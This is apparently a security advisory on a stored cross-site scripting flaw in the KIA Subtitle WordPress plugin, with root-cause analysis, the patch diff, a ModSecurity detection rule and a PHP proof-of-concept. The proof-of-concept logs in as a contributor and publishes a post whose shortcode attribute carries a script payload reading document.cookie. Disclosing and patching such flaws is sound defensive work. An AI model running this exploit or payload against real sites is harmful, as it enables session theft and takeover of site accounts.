Atomic Edge analysis of CVE-2026-7509:
This vulnerability is a Stored Cross-Site Scripting (XSS) found in the KIA Subtitle plugin for WordPress, affecting versions up to and including 4.0.1. The flaw exists in the ‘the-subtitle’ shortcode’s ‘before’ and ‘after’ attributes, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts that execute when users view pages containing the injected subtitle.
Root Cause: The vulnerability stems from insufficient input sanitization and output escaping on user-supplied attributes ‘before’ and ‘after’ in the shortcode handler. In kia-subtitle.php, the shortcode at lines 362-368 processes the ‘before’ and ‘after’ attributes from the user. Before the patch, these values are passed directly to the the_subtitle() method without sanitization. The shortcode uses shortcode_atts() with defaults but never applies wp_kses_post() or equivalent escaping to the attribute values. The lack of output encoding allows stored HTML and JavaScript to be rendered unmodified.
Exploitation: An attacker authenticated with Contributor-level or higher privileges can inject malicious payloads through the ‘before’ or ‘after’ attributes of the [the-subtitle] shortcode. The attack vector is a WordPress post/page editor where the shortcode is inserted. For example, posting [the-subtitle before=’alert(1)’ after=’
‘] would store the script in the database. When a victim views the post, the shortcode renders and executes the attacker’s script. The payload need not be JavaScript; any arbitrary HTML or script can be injected.
Patch Analysis: The patch in version 4.0.2 adds two lines at lines 368-369 of kia-subtitle.php: $atts[‘before’] = wp_kses_post( $atts[‘before’] ); and $atts[‘after’] = wp_kses_post( $atts[‘after’] );. These lines apply WordPress’s wp_kses_post() function, which strips all but the safest HTML tags from the attribute values. Previously, the raw strings were passed directly to the subtitle rendering. The patch also updates plugin version numbers but those are cosmetic.
Impact: Successful exploitation allows attackers to execute stored XSS in the context of any user viewing the affected post or page. This can lead to session hijacking, credential theft, arbitrary administrative actions (if an admin views the page), defacement, or redirection to malicious sites. The vulnerability is severe because it requires only Contributor-level access, which is common in multi-author WordPress sites.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/kia-subtitle/assets/js/dist/index.asset.php
+++ b/kia-subtitle/assets/js/dist/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-edit-post', 'wp-hooks', 'wp-i18n', 'wp-plugins', 'wp-primitives'), 'version' => '3036d9bbf621acba6ed8');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-edit-post', 'wp-hooks', 'wp-i18n', 'wp-plugins', 'wp-primitives'), 'version' => '93e2c7f9267828be9f4d');
--- a/kia-subtitle/kia-subtitle.php
+++ b/kia-subtitle/kia-subtitle.php
@@ -4,7 +4,7 @@
* Plugin URI: http://www.kathyisawesome.com/436/kia-subtitle/
* Description: Adds a subtitle field to WordPress' Post editor
* Author: Kathy Darling
- * Version: 4.0.1
+ * Version: 4.0.2
* Author URI: http://www.kathyisawesome.com
* License: GPL3
* Text Domain: kia-subtitle
@@ -47,7 +47,7 @@
* @var KIA_Subtitle The single instance of the class
* @since 1.6
*/
- public $version = '4.0.1';
+ public $version = '4.0.2';
/**
* @constant string donate url
@@ -366,6 +366,8 @@
'after' => '</h2>'
), $atts, 'the-subtitle' );
+ $atts['before'] = wp_kses_post( $atts['before'] );
+ $atts['after'] = wp_kses_post( $atts['after'] );
$atts['echo'] = false;
return $this->the_subtitle( $atts );
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php"
"id:20267509,phase:2,deny,status:403,chain,msg:'CVE-2026-7509 via KIA Subtitle shortcode XSS',severity:'CRITICAL',tag:'CVE-2026-7509'"
SecRule ARGS_POST:action "@streq the-subtitle" "chain"
SecRule ARGS_POST:before|ARGS_POST:after "@rx <script[^>]*>.*</script>" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7509 - KIA Subtitle <= 4.0.1 - Stored Cross-Site Scripting via shortcode attributes
$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'contributor'; // Change to attacker's username
$password = 'password'; // Change to attacker's password
// Step 1: Login to get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
// Step 2: Get nonce for post creation (requires admin-ajax or REST API)
// Simpler approach: Directly create a post via REST API
$rest_url = $target_url . '/wp-json/wp/v2/posts';
$nonce = ''; // In practice, fetch from admin page or use cookie auth
// Step 3: Create a post with malicious shortcode
$post_content = 'This is a test post with XSS. [the-subtitle before="<script>alert(document.cookie)</script>" after="</h2>"]';
$post_data = array(
'title' => 'CVE-2026-7509 Test',
'content' => $post_content,
'status' => 'publish'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
$result = json_decode($response, true);
if (isset($result['id'])) {
echo "Post created with ID: " . $result['id'] . "n";
echo "Visit: " . $target_url . "/?p=" . $result['id'] . " to trigger XSSn";
} else {
echo "Failed to create post. Response:n";
print_r($result);
}
?>
